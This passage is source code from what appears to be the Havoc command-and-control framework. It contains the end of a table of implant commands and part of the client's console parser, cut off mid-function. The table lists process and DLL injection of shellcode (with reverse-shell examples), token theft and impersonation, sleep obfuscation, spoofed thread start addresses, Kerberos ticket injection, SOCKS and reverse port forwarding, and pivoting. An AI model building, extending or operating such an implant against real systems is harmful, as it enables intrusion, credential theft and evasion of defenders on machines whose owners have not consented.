         .Behavior       = BEHAVIOR_PROCESS_INJECTION,\n                    .MitreTechniques= {\"T1055\"},\n                    .Usage          = \"[arch] [target pid] [/path/to/shellcode.x64.bin]\",\n                    .Example        = R\"(x64 1337 /tmp/rev_shell.x64.bin)\",\n                },\n\n                // Spawn & Inject Commands\n                {\n                    .CommandString  = \"spawn\",\n                    .Description    = \"spawns a temporary process and injects into it\",\n                    .Behavior       = BEHAVIOR_FORK_AND_RUN,\n                    .MitreTechniques= {\"T1055\", \"T1055.002\"},\n                    .Usage          = \"[arch] [/path/to/shellcode.x64.bin]\",\n                    .Example        = R\"(x64 /tmp/rev_shell.x64.bin)\",\n                },\n\n                    // Spawn & Inject Commands\n                {\n                    .CommandString  = \"execute\",\n                    .Description    = \"executes shellcode in the current process (self inject)\",\n                    .Behavior       = BEHAVIOR_PROCESS_INJECTION,\n                    .MitreTechniques= {\"T1055\", \"T1055.002\"},\n                    .Usage          = \"[arch] [/path/to/shellcode.x64.bin]\",\n                    .Example        = R\"([arch] /tmp/rev_shell.x64.bin)\",\n                },\n            },\n        },\n        {\n            .CommandString  = \"dll\",\n            .Description    = \"dll spawn and injection modules\",\n            .Usage          = \"[subcommand]\",\n            .Example        = R\"(inject 1337 /tmp/module.dll argument)\",\n            .Module         = true,\n\n            .SubCommands    =\n            {\n                {\n                    .CommandString  = \"inject\",\n                    .Description    = \"inject dll into a remote process\",\n                    .Behavior       = BEHAVIOR_PROCESS_INJECTION,\n                    .MitreTechniques= {\"T1055\" ,\"T1055.001\"},\n                    .Usage          = \"[target pid] [/path/to/module.dll] (arguments)\",\n                    .Example        = R\"(1337 /tmp/module.dll argument)\",\n                },\n                {\n                    .CommandString  = \"spawn\",\n                    .Description    = \"spawns a temporary process and injects a dll into it\",\n                    .Behavior       = BEHAVIOR_FORK_AND_RUN,\n                    .MitreTechniques= {\"T1055\" ,\"T1055.001\"},\n                    .Usage          = \"[/path/to/reflective_dll.x64.dll] (arguments)\",\n                    .Example        = R\"(/tmp/module.dll arguments)\",\n                },\n            },\n        },\n        {\n            .CommandString  = \"exit\",\n            .Description    = \"cleanup and exit\",\n            .Behavior       = BEHAVIOR_API_ONLY,\n            .MitreTechniques= { },\n            .Usage          = \"[thread/process]\",\n            .Example        = R\"(thread)\",\n            NO_SUBCOMMANDS\n        },\n        {\n            .CommandString  = \"token\",\n            .Description    = \"token manipulation and impersonation\",\n            .Usage          = \"[subcommand]\",\n            .Example        = R\"(steal 1337)\",\n            .Module         = true,\n\n            .SubCommands    =\n            {\n                {\n                    .CommandString  = \"getuid\",\n                    .Description    = \"get current uid from token\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .MitreTechniques = {\"T1134\"},\n                },\n                {\n                    .CommandString  = \"list\",\n                    .Description    = \"list stolen tokens from token vault\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .MitreTechniques = {\"T1134\"},\n                },\n                {\n                    .CommandString  = \"find\",\n                    .Description    = \"find all tokens that can be stolen on the system\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .MitreTechniques = {\"T1134\"},\n                },\n                {\n                    .CommandString  = \"steal\",\n                    .Description    = \"steal token from specified process and save it to token vault\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .MitreTechniques = {\"T1134.001\"},\n                    .Usage          = \"[process id] (handle)\",\n                    .Example        = \"1337\",\n                },\n                {\n                    .CommandString  = \"impersonate\",\n                    .Description    = \"impersonate stolen token from specified vault id\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .MitreTechniques = {\"T1134\", \"T1134.001\" ,\"TA0004\"},\n                    .Usage          = \"[vault id]\",\n                    .Example        = \"0\",\n                },\n                {\n                    .CommandString  = \"make\",\n                    .Description    = \"make token from user credentials\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .MitreTechniques = {\"T1134\", \"T1134.003\"},\n                    .Usage          = \"[Domain] [Username] [Password] (LogonType)\\nValid types are:\\nLOGON_INTERACTIVE\\nLOGON_NETWORK\\nLOGON_BATCH\\nLOGON_SERVICE\\nLOGON_UNLOCK\\nLOGON_NETWORK_CLEARTEXT\\nLOGON_NEW_CREDENTIALS (default)\",\n                    .Example        = \"domain.local Administrator Passw0rd@1234\",\n                },\n                {\n                    .CommandString  = \"privs-list\",\n                    .Description    = \"list all privileges from current token\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .MitreTechniques = { \"T1134\" ,\"TA0007\"},\n                },\n                {\n                    .CommandString  = \"privs-get\",\n                    .Description    = \"enable a privilege\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .MitreTechniques = { \"T1134\", \"T1134\", \"TA0004\" },\n                },\n                {\n                    .CommandString  = \"revert\",\n                    .Description    = \"revert to default process token\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .MitreTechniques = {\"T1134\"},\n                },\n                {\n                    .CommandString  = \"remove\",\n                    .Description    = \"remove specified stolen token from token vault\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .Usage          = \"[vault id]\",\n                    .Example        = \"1\",\n                },\n                {\n                    .CommandString  = \"clear\",\n                    .Description    = \"removes every stolen token from the token vault\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                },\n            },\n        },\n        {\n            .CommandString  = \"dotnet\",\n            .Description    = \"execute and manage dotnet assemblies\",\n            .Behavior       = BEHAVIOR_API_ONLY,\n            .Usage          = \"[sub command]\",\n            .Example        = R\"(inline-execute /tmp/seatbelt.exe)\",\n            .Module         = true,\n\n            .SubCommands    =\n            {\n                {\n                    .CommandString  = \"list-versions\",\n                    .Description    = \"lists installed/available dotnet versions\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                },\n                {\n                    .CommandString  = \"inline-execute\",\n                    .Description    = \"executes assembly in the current process and gets output\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .MitreTechniques = {\"T1055\", \"T1620\"},\n                    .Usage          = \"[/path/to/assembly.exe] (args)\",\n                    .Example        = \"/tmp/Seatbelt.exe -group=all -full\",\n                },\n            },\n        },\n        {\n            .CommandString  = \"net\",\n            .Description    = \"network and host enumeration module\",\n            .Behavior       = BEHAVIOR_API_ONLY,\n            .Usage          = \"[sub command] (args)\",\n            .Example        = R\"(domain)\",\n            .Module         = true,\n\n            .SubCommands    =\n            {\n                {\n                    .CommandString  = \"domain\",\n                    .Description    = \"display domain for the current host\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                },\n                {\n                    .CommandString  = \"logons\",\n                    .Description    = \"lists users logged onto a host\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .Usage          = R\"([\\\\TARGET])\",\n                    .Example        = R\"(\\\\localhost)\",\n                },\n                {\n                    .CommandString  = \"sessions\",\n                    .Description    = \"lists sessions on a host\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .Usage          = R\"([\\\\TARGET])\",\n                    .Example        = R\"(\\\\localhost)\",\n                },\n                /*{\n                    .CommandString  = \"computers\",\n                    .Description    = \"lists hosts in a domain (groups)\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .Usage          = R\"([\\\\TARGET])\",\n                    .Example        = R\"(\\\\localhost)\",\n                },\n                {\n                    .CommandString  = \"dclist\",\n                    .Description    = \"lists domain controllers\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .Usage          = R\"([\\\\TARGET])\",\n                    .Example        = R\"(\\\\localhost)\",\n                },*/\n                {\n                    .CommandString  = \"share\",\n                    .Description    = \"lists shares on a host\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .Usage          = R\"([\\\\TARGET])\",\n                    .Example        = R\"(\\\\localhost)\",\n                },\n                {\n                    .CommandString  = \"localgroup\",\n                    .Description    = \"lists local groups and users in local groups\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .Usage          = R\"([\\\\TARGET])\",\n                    .Example        = R\"(\\\\localhost)\",\n                },\n                {\n                    .CommandString  = \"group\",\n                    .Description    = \"lists groups and users in groups\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .Usage          = R\"([\\\\TARGET])\",\n                    .Example        = R\"(\\\\localhost)\",\n                },\n                {\n                    .CommandString  = \"users\",\n                    .Description    = \"lists users and user information\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .Usage          = R\"([\\\\TARGET])\",\n                    .Example        = R\"(\\\\localhost)\",\n                },\n            },\n        },\n        {\n            .CommandString  = \"config\",\n            .Description    = \"configure the behaviour of the demon session\",\n            .Usage          = \"[config.flag]\",\n            .Example        = R\"(inject.spawn64 C:\\Windows\\System32\\rundll32.exe)\",\n            .Module         = true,\n\n            .SubCommands    =\n            {\n                {\n                    .CommandString  = \"implant.verbose\",\n                    .Description    = \"enable/disable implant verbose logging (process creation, memory allocation, thread execution etc.)\",\n                    .Usage          = R\"([true/false])\",\n                    .Example        = \"true\",\n                },\n                {\n                    .CommandString  = \"implant.sleep-obf.start-addr\",\n                    .Description    = \"set custom thread start addr at sleep obfuscation\",\n                    .Usage          = R\"([ lib!function+offset])\",\n                    .Example        = \"ntdll!LdrLoadLibrary+0x46\",\n                },\n                {\n                    .CommandString  = \"implant.sleep-obf.technique\",\n                    .Description    = \"set custom thread start addr at sleep obfuscation\",\n                    .Usage          = R\"([0/1/2])\",\n                    .Example        = \"1\",\n                    .Options        = {\n                        \"0  => WaitForSingleObjectEx (No Obfuscation. simple sleep)\",\n                        \"1  => Foliage (by @ilove2pwn_)\",\n                        \"2  => Ekko (by @C5pider, @peterwintrsmith and @modexpblog)\",\n                    },\n                },\n                {\n                    .CommandString  = \"implant.coffee.veh\",\n                    .Description    = \"enable/disable VEH for object file loading\",\n                    .Usage          = R\"([true/false])\",\n                    .Example        = \"true\",\n                },\n                {\n                    .CommandString  = \"implant.coffee.threaded\",\n                    .Description    = \"enable/disable threading while executing object files\",\n                    .Usage          = R\"([true/false])\",\n                    .Example        = \"true\",\n                },\n                {\n                    .CommandString  = \"memory.alloc\",\n                    .Description    = \"memory allocation behaviour\",\n                    .Usage          = R\"([1/2/3])\",\n                    .Example        = \"1\",\n                    .Options        = {\n                        \"1  => Win32 API (VirtualAllocEX)\",\n                        \"2  => Native API (NtAllocateVirtualMemory)\",\n                    },\n                },\n                {\n                    .CommandString  = \"memory.execute\",\n                    .Description    = \"memory executing behaviour (remote/local thread)\",\n                    .Usage          = R\"([ 1 / 2 / 3 / 4 ])\",\n                    .Example        = \"1\",\n                    .Options        = {\n                        \"1  => Win32 API (CreateRemoteThread)\",\n                        \"2  => Native API (NtCreateThreadEx)\",\n                    },\n                },\n                {\n                    .CommandString  = \"inject.spoofaddr\",\n                    .Description    = \"inject code with spoofed thread start addr\",\n                    .Usage          = R\"([ lib!function+offset ])\",\n                    .Example        = \"ntdll!LdrLoadLibrary+0x46\",\n                },\n                {\n                    .CommandString  = \"inject.spawn64\",\n                    .Description    = \"default x64 process to spawn for fork & run operations\",\n                    .Usage          = R\"([C:\\path\\to\\executable.exe])\",\n                    .Example        = R\"(C:\\Windows\\System32\\rundll32.exe)\",\n                },\n                {\n                    .CommandString  = \"inject.spawn32\",\n                    .Description    = \"default x86 process to spawn for fork & run operations\",\n                    .Usage          = R\"([C:\\path\\to\\executable.exe])\",\n                    .Example        = R\"(C:\\Windows\\SysWow64\\rundll32.exe)\",\n                },\n                {\n                    .CommandString  = \"killdate\",\n                    .Description    = \"change the default KillDate, set to 0 to disable. The time is interpreted in GMT 0\",\n                    .Usage          = R\"([YEAR-MONTH-DAY HOUR-MINUTE-SECOND])\",\n                    .Example        = R\"(2006-01-02 15:04:05)\",\n                },\n                {\n                    .CommandString  = \"workinghours\",\n                    .Description    = \"change the working hours, set to 0 to disable.\",\n                    .Usage          = R\"([H:mm-H-mm])\",\n                    .Example        = R\"(8:30-19:00)\",\n                },\n            },\n        },\n        {\n            .CommandString  = \"pivot\",\n            .Description    = \"pivoting module\",\n            .Behavior       = BEHAVIOR_API_ONLY,\n            .Usage          = \"[sub command]\",\n            .Example        = R\"(connect SPIDERS-PC agent_6d6e)\",\n            .Module         = true,\n\n            .SubCommands    =\n            {\n                {\n                    .CommandString  = \"list\",\n                    .Description    = \"list connected agent pivots\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                },\n                {\n                    .CommandString  = \"connect\",\n                    .Description    = \"connect to a pivoting agent\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .Usage          = \"[Host] [Address]\",\n                    .Example        = R\"(HOST-DC agent_6d6e)\",\n                },\n                {\n                    .CommandString  = \"disconnect\",\n                    .Description    = \"disconnect from a pivoting agent\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .Usage          = \"[Agent ID]\",\n                    .Example        = R\"(64656d6e)\",\n                },\n            },\n        },\n        {\n            .CommandString  = \"rportfwd\",\n            .Description    = \"reverse port forwarding\",\n            .Usage          = \"[sub command] (args)\",\n            .Example        = \"add 0.0.0.0 8080 192.157.0.1 4444\",\n            .Module         = true,\n            \n            .SubCommands    =\n            {\n                {\n                    .CommandString  = \"add\",\n                    .Description    = \"add an reverse port forward\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .Usage          = \"[bind host] [bind port] [forward host] [forward port]\",\n                    .Example        = \"0.0.0.0 8080 192.157.0.1 4444\",\n                },\n                {\n                    .CommandString  = \"list\",\n                    .Description    = \"list all reverse port forwards\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                },\n                {\n                    .CommandString  = \"remove\",\n                    .Description    = \"close and remove a reverse port forward\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                    .Usage          = \"[Socket ID]\",\n                    .Example        = R\"(b4bbb42)\",\n                },\n                {\n                    .CommandString  = \"clear\",\n                    .Description    = \"close and clear all reverse port forwards\",\n                    .Behavior       = BEHAVIOR_API_ONLY,\n                },\n            },\n        },\n        {\n            .CommandString  = \"socks\",\n            .Description    = \"socks5 proxy\",\n            .Usage          = \"[sub command] (args)\",\n            .Example        = \"add 4444\",\n            .Module         = true,\n\n            .SubCommands    =\n                {\n                    {\n                        .CommandString  = \"add\",\n                        .Description    = \"add a socks5 proxy\",\n                        .Behavior       = BEHAVIOR_API_ONLY,\n                        .Usage          = \"[bind port]\",\n                        .Example        = \"4444\",\n                    },\n                    {\n                        .CommandString  = \"list\",\n                        .Description    = \"list all socks5 proxy servers\",\n                        .Behavior       = BEHAVIOR_API_ONLY,\n                    },\n                    {\n                        .CommandString  = \"kill\",\n                        .Description    = \"kill and remove a socks5 proxy server\",\n                        .Behavior       = BEHAVIOR_API_ONLY,\n                        .Usage          = \"[bind port]\",\n                        .Example        = R\"(4444)\",\n                    },\n                    {\n                        .CommandString  = \"clear\",\n                        .Description    = \"kill and clear all socks5 proxy servers\",\n                        .Behavior       = BEHAVIOR_API_ONLY,\n                    },\n                },\n        },\n        {\n            .CommandString  = \"luid\",\n            .Description    = \"get current logon ID\",\n            .Usage          = \"\",\n            .Example        = \"\",\n            NO_SUBCOMMANDS\n        },\n        {\n            .CommandString  = \"klist\",\n            .Description    = \"list Kerberos tickets\",\n            .Usage          = \"[/luid 0x123| /all]\",\n            .Example        = \"/all\",\n            NO_SUBCOMMANDS\n        },\n        {\n            .CommandString  = \"purge\",\n            .Description    = \"purge a Kerberos ticket\",\n            .Usage          = \"/luid <0x123>\",\n            .Example        = \"/luid 0x123\",\n            NO_SUBCOMMANDS\n        },\n        {\n            .CommandString  = \"ptt\",\n            .Description    = \"import Kerberos ticket into a logon session\",\n            .Usage          = \"<base64> [/luid <0x0>]\",\n            .Example        = \"doIFqjCCBaagAwIB...\",\n            NO_SUBCOMMANDS\n        },\n};\n"
  },
  {
    "path": "client/src/Havoc/Demon/ConsoleInput.cc",
    "content": "#include <global.hpp>\n\n#include <Havoc/DemonCmdDispatch.h>\n#include <UserInterface/Widgets/DemonInteracted.h>\n#include <Util/ColorText.h>\n#include <Havoc/Packager.hpp>\n\n#include <sstream>\n#include <vector>\n#include <iomanip>\n#include <filesystem>\n#include <algorithm>\n\nusing namespace HavocNamespace::HavocSpace;\nusing namespace Util;\n\ntemplate<typename ... Args>\nauto string_format( const std::string& format, Args ... args ) -> std::string\n{\n    int size_s = std::snprintf( nullptr, 0, format.c_str(), args ... ) + 1; // Extra space for '\\0'\n    if( size_s <= 0 ){ throw std::runtime_error( \"Error during formatting.\" ); }\n    auto size = static_cast<size_t>( size_s );\n    std::unique_ptr<char[]> buf( new char[ size ] );\n    std::snprintf( buf.get(), size, format.c_str(), args ... );\n    return std::string( buf.get(), buf.get() + size - 1 ); // We don't want the '\\0' inside\n}\n\nstatic bool is_number( const std::string& s )\n{\n    std::string::const_iterator it = s.begin();\n    while ( it != s.end() && std::isdigit( *it ) ) ++it;\n    return !s.empty() && it == s.end();\n}\n\nauto operator * ( string a, unsigned int b ) -> string\n{\n    auto output = string( \"\" );\n\n    while ( b-- )\n        output += a;\n\n    return output;\n}\n\nstatic auto JoinAtIndex( QStringList list, int index ) -> QString\n{\n    QString string;\n\n    int size = list.size();\n    for ( int i = 0; i < ( size - index ); i++ )\n    {\n        if ( i == 0 )\n            string.append( list[ index + i ] );\n        else\n            string.append( \" \" + list[ index + i ] );\n    }\n\n    return string;\n}\n\nauto ParseQuotes( QString commandline ) -> QStringList\n{\n    auto iss           = std::istringstream( commandline.toStdString() );\n    auto s             = std::string();\n    auto InputCommands = QStringList();\n\n    while ( iss >> std::quoted( s ) )\n        InputCommands << QString(s.c_str());\n\n    return InputCommands;\n}\n\n// parse double quotes and backslashes\nauto ParseCommandLine( QString commandline ) -> QStringList\n{\n    auto cmdline       = commandline.toStdString();\n    auto InputCommands = QStringList();\n    auto in_quotes     = false;\n    char c;\n    char next_c;\n    char next_next_c;\n    std::string parsed;\n\n    for( size_t i = 0; i < cmdline.length(); i++)\n    {\n        c = cmdline[ i ];\n        if ( i + 1 < cmdline.length() )\n            next_c = cmdline[ i + 1 ];\n        else\n            next_c = 0;\n\n        if ( i + 2 < cmdline.length() )\n            next_next_c = cmdline[ i + 2 ];\n        else\n            next_next_c = 0;\n\n        if ( c == '\"' && ! in_quotes )\n        {\n            // we are entering a quoted string\n            in_quotes = true;\n        }\n        else if ( c == '\"' && in_quotes )\n        {\n            in_quotes = false;\n\n            if ( next_c != ' ' )\n            {\n                // we got out of quotes and the next char is not a space, break word\n                InputCommands << QString(parsed.c_str());\n                parsed = \"\";\n            }\n        }\n        // handle a backslash\n        else if ( c == '\\\\' )\n        {\n            if ( next_c == '\\\\' )\n            {\n                /*\n                 * double backslask is a special scenario:\n                 * we want to allow: \\\\dc01\\c$\\windows, instead of: \\\\\\\\dc01\\c$\\windows\n                 * but also, we want to be able to escape backslashes\n                 * if they are followed by a space or double quote\n                 * meaning:\n                 * double backslash followed by a space or double quote = escaped backslash\n                 * double backslash followed by any other character     = double backslash\n                 */\n                if ( next_next_c == ' ' || next_next_c == '\"' )\n                {\n                    // we are in these scenarios:\n                    // \"foo 1\\\\\" bar -> arg1: 'foo 1\\' arg2: 'bar'\n                    // foo\\\\ bar     -> arg1: 'foo\\' arg2: 'bar'\n                    parsed += '\\\\';\n                    i++;\n                }\n                else\n                {\n                    // we are in this scenario:\n                    // \\\\dc01\\c$\\windows -> \\\\dc01\\c$\\windows\n                    parsed += '\\\\';\n                }\n            }\n            // if the next char is a space, enter it\n            else if ( next_c == ' ' )\n            {\n                parsed += ' ';\n                i++;\n            }\n            // if the next char is a double quote, enter it\n            else if ( next_c == '\"' )\n            {\n                parsed += '\"';\n                i++;\n            }\n            else\n            {\n                // if the next char some other value, enter a backslash\n                parsed += '\\\\';\n            }\n        }\n        else if ( c == ' ' && ! in_quotes )\n        {\n            // we have a space while not in quotes, break word\n            InputCommands << QString(parsed.c_str());\n            parsed = \"\";\n        }\n        else\n        {\n            // If we encounter any other character, add it to the parsed string\n            parsed += c;\n        }\n    }\n\n    // add the end of the last string\n    if ( parsed.size() > 0 )\n    {\n        InputCommands << QString(parsed.c_str());\n        parsed = \"\";\n    }\n\n    return InputCommands;\n}\n\nbool compareQString(const QString &a, const QString &b)\n{\n    return a.toLower() < b.toLower();\n}\n\nDemonCommands::DemonCommands( )\n{\n    Execute.DemonCommandInstance = this;\n}\n\nauto DemonCommands::SetDemonConsole( UserInterface::Widgets::DemonInteracted* pInteracted ) -> void\n{\n    this->DemonConsole = pInteracted;\n}\n\nauto DemonCommands::DispatchCommand( bool Send, QString TaskID, const QString& commandline ) -> bool\n{\n    auto InputCommands = ParseCommandLine(commandline);\n    auto IsDemonAgent  = false;\n    auto AgentData     = ServiceAgent();\n\n    // check if it's a generic demon or 3rd party agent\n\n    if ( MagicValue == DemonMagicValue )\n    {\n        IsDemonAgent = true;\n    }\n    else\n    {\n        for ( auto& agent : HavocX::Teamserver.ServiceAgents )\n        {\n            if ( MagicValue == agent.MagicValue )\n            {\n                AgentData = agent;\n                AgentTypeName = agent.Name;\n            }\n        }\n    }\n\n    if ( IsDemonAgent )\n    {\n        if ( InputCommands[ 0 ].compare( \"help\" ) == 0 )\n        {\n            if ( InputCommands.size() > 1 && InputCommands[ 1 ] != \"\" )\n            {\n                bool FoundCommand = false;\n                for ( auto & commandIndex : DemonCommandList )\n                {\n                    if ( InputCommands[ 1 ].compare( commandIndex.CommandString ) == 0 )\n                    {\n                        FoundCommand = true;\n                        if ( ( ! commandIndex.SubCommands.empty() || commandIndex.Module ) && InputCommands.size() > 2 && InputCommands[ 2 ] != \"\" )\n                        {\n                            bool FoundSubCommand = false;\n\n                            for ( auto & SubCommand : commandIndex.SubCommands )\n                            {\n                                auto SubCommandString = SubCommand.CommandString;\n\n                                if ( InputCommands[ 2 ].compare( SubCommandString ) == 0 )\n                                {\n                                    FoundSubCommand = true;\n\n                                    DemonConsole->Console->append( \"\" );\n                                    DemonConsole->Console->append( \" - Module        :  \" + commandIndex.CommandString );\n                                    DemonConsole->Console->append( \" - Sub Command   :  \" + SubCommand.CommandString );\n                                    DemonConsole->Console->append( \" - Description   :  \" + SubCommand.Description );\n\n                                    if ( ! SubCommand.Behavior.isEmpty() )\n                                        DemonConsole->Console->append( \" - Behavior      :  \" + SubCommand.Behavior );\n\n                                    if ( ! SubCommand.Usage.isEmpty() )\n                                        DemonConsole->Console->append( \" - Usage         :  \" + commandIndex.CommandString + \" \"+ SubCommand.CommandString + \" \" + SubCommand.Usage );\n\n                                    if ( ! SubCommand.Example.isEmpty() )\n                                        DemonConsole->Console->append( \" - Example       :  \" + commandIndex.CommandString + \" \"+ SubCommand.CommandString + \" \" + SubCommand.Example );\n                                    /*\n                                    if ( ! SubCommand.Usage.isEmpty() )\n                                        DemonConsole->Console->append( \" - Required Args :  \" + QString( to_string( SubCommand.Usage.split( \" \" ).size() ).c_str() ) );*/\n\n                                    if ( ! SubCommand.Options.isEmpty() )\n                                    {\n                                        DemonConsole->Console->append( \" - Options       :  \" );\n                                        for ( auto& Option : SubCommand.Options )\n                                            DemonConsole->Console->append( \"      \" + Option);\n                                    }\n\n                                    break;\n                                }\n                            }\n\n                            if ( ! FoundSubCommand )\n                            {\n                                for ( auto& Command : HavocX::Teamserver.RegisteredCommands )\n                                {\n                                    if ( InputCommands[ 1 ].compare( Command.Module.c_str() ) == 0 )\n                                    {\n                                        if ( InputCommands[ 2 ].compare( Command.Command.c_str() ) == 0 )\n                                        {\n                                            FoundSubCommand = true;\n\n                                            DemonConsole->Console->append( \"\" );\n                                            DemonConsole->Console->append( \" - Module        :  \" + QString( Command.Module.c_str() ) );\n                                            DemonConsole->Console->append( \" - Sub Command   :  \" + QString( Command.Command.c_str() ) );\n                                            DemonConsole->Console->append( \" - Description   :  \" + QString( Command.Help.c_str() ) );\n\n                                            // if ( Command.Behavior != 0 )\n                                            //     DemonConsole->Console->append( \" - Behavior      :  \" + SubCommand.Behavior );\n\n                                            if ( Command.Usage.c_str() )\n                                                DemonConsole->Console->append( \" - Usage         :  \" + QString( Command.Module.c_str() ) + \" \" + QString( Command.Command.c_str() ) + \" \" + QString( Command.Usage.c_str() ) );\n\n                                            if ( Command.Example.c_str() )\n                                                DemonConsole->Console->append( \" - Example       :  \" + QString( Command.Module.c_str() ) + \" \" + QString( Command.Command.c_str() ) + \" \" + QString( Command.Example.c_str() ) );\n\n                                            /*if ( ! QString( Command.Usage.c_str() ).isEmpty() )\n                                                DemonConsole->Console->append( \" - Required Args :  \" + QString( to_string( SubCommand.Usage.split( \" \" ).size() ).c_str() ) );*/\n                                        }\n                                    }\n                                }\n\n                                if ( ! FoundSubCommand )\n                                {\n                                    DemonConsole->Console->append( Util::ColorText::Red( \"[-]\" ) + \" Couldn't find sub command in \\\"\" + InputCommands[ 1 ] + \"\\\": \" + InputCommands[ 2 ] );\n                                }\n                            }\n\n                        }\n                        else\n                        {\n                            DemonConsole->Console->append( \"\" );\n                            DemonConsole->Console->append( \" - Command       :  \" + commandIndex.CommandString );\n                            DemonConsole->Console->append( \" - Description   :  \" + commandIndex.Description );\n\n                            if ( ! commandIndex.Behavior.isEmpty() )\n                                DemonConsole->Console->append( \" - Behavior      :  \" + commandIndex.Behavior );\n\n                            if ( ! commandIndex.Usage.isEmpty() )\n                                DemonConsole->Console->append( \" - Usage         :  \" + commandIndex.CommandString + \" \" + commandIndex.Usage );\n\n                            if ( ! commandIndex.Example.isEmpty() )\n                                DemonConsole->Console->append( \" - Example       :  \" + commandIndex.CommandString + \" \" + commandIndex.Example );\n\n                            if ( ! commandIndex.Usage.isEmpty() && commandIndex.SubCommands.empty() )\n                                DemonConsole->Console->append(\" - Required Args :  \" + QString(to_string(commandIndex.Usage.split(\" \").size()).c_str()));\n\n                            if ( ! commandIndex.SubCommands.empty() || commandIndex.Module )\n                            {\n                                DemonConsole->Console->append( \"\" );\n                                DemonConsole->Console->append( \"  Command                        Description      \" );\n                                DemonConsole->Console->append( \"  ---------                      -------------     \" );\n\n\n                                /*if ( commandIndex.SubCommands.empty() )\n                                {\n                                    DemonConsole->TaskError( \"No subcommand registered for \" + commandIndex.CommandString );\n                                    return false;\n                                }*/\n\n                                for ( auto & SubCommand : commandIndex.SubCommands )\n                                {\n                                    if ( SubCommand.CommandString != nullptr )\n                                    {\n                                        int TotalSize   = 31;\n                                        int CmdSize     = SubCommand.CommandString.size();\n\n                                        if ( CmdSize > 31 )\n                                            CmdSize = 31;\n\n                                        std::string Spaces      = std::string( ( TotalSize - CmdSize ), ' ' );\n\n                                        DemonConsole->Console->append( \"  \" + SubCommand.CommandString + QString( Spaces.c_str() ) + SubCommand.Description );\n                                    }\n                                }\n\n                                for ( auto& Command : HavocX::Teamserver.RegisteredCommands )\n                                {\n                                    if ( InputCommands[ 1 ].compare( Command.Module.c_str() ) == 0 )\n                                    {\n                                        int         TotalSize   = 19;\n                                        std::string Spaces      = std::string( ( TotalSize - Command.Command.size() ), ' ' );\n\n                                        DemonConsole->Console->append( \"  \" + QString( Command.Command.c_str() ) + QString( Spaces.c_str() ) + \"       \" + QString( Command.Help.c_str() ) );\n                                    }\n                                }\n                            }\n                        }\n\n                        break;\n                    }\n                }\n\n                if ( ! FoundCommand )\n                {\n                    spdlog::debug( \"check registered modules\" );\n                    // Alright first check if we registered a module\n                    for ( auto& Module : HavocX::Teamserver.RegisteredModules )\n                    {\n                        spdlog::debug( \" - {}\", Module.Name );\n                        if ( InputCommands[ 1 ].compare( Module.Name.c_str() ) == 0 )\n                        {\n                            FoundCommand = true;\n\n                            if ( InputCommands.size() > 2 )\n                            {\n                                for ( auto& Command : HavocX::Teamserver.RegisteredCommands )\n                                {\n                                    if ( InputCommands[ 1 ].compare( Command.Module.c_str() ) == 0 && InputCommands[ 2 ].compare( Command.Command.c_str() ) == 0 )\n                                    {\n                                        DemonConsole->Console->append( \"\" );\n                                        DemonConsole->Console->append( \" - Command       :  \" + QString( Module.Name.c_str() ) + QString( \" \" ) + QString( Command.Command.c_str() ) );\n                                        DemonConsole->Console->append( \" - Description   :  \" + QString( Command.Help.c_str() ) );\n\n                                        if ( ! Module.Usage.empty() )\n                                            DemonConsole->Console->append( \" - Usage         :  \" + QString( Module.Name.c_str() ) + QString( \" \" ) + QString( Command.Command.c_str() ) + \" \" + QString( Command.Usage.c_str() )  );\n\n                                        if ( ! Command.Example.empty() )\n                                            DemonConsole->Console->append( \" - Example       :  \" + QString( Module.Name.c_str() ) + QString( \" \" ) + QString( Command.Command.c_str() ) + \" \" + QString( Command.Example.c_str() ) );\n\n                                        if ( ! Command.Usage.empty() )\n                                            DemonConsole->Console->append(\" - Required Args :  \" + QString( to_string( QString( Command.Usage.c_str() ).split(\" \").size() ).c_str() ) );\n\n                                        break;\n                                    }\n                                }\n                            }\n                            else\n                            {\n                                DemonConsole->Console->append( \"\" );\n                                DemonConsole->Console->append( \" - Command       :  \" + QString( Module.Name.c_str() ) );\n                                DemonConsole->Console->append( \" - Description   :  \" + QString( Module.Description.c_str() ) );\n\n                                if ( ! Module.Behavior.empty() )\n                                    DemonConsole->Console->append( \" - Behavior      :  \" + QString( Module.Behavior.c_str() ) );\n\n                                if ( ! Module.Usage.empty() )\n                                    DemonConsole->Console->append( \" - Usage         :  \" + QString( Module.Name.c_str() ) + \" \" + QString( Module.Usage.c_str() )  );\n\n                                if ( ! Module.Example.empty() )\n                                    DemonConsole->Console->append( \" - Example       :  \" + QString( Module.Name.c_str() ) + \" \" + QString( Module.Example.c_str() ) );\n\n                                if ( ! Module.Usage.empty() )\n                                    DemonConsole->Console->append(\" - Required Args :  \" + QString( to_string( QString( Module.Usage.c_str() ).split(\" \").size() ).c_str() ) );\n\n                                DemonConsole->Console->append( \"\" );\n                                DemonConsole->Console->append( \"  Command                   Description      \" );\n                                DemonConsole->Console->append( \"  ---------                 -------------     \" );\n\n                                for ( auto& 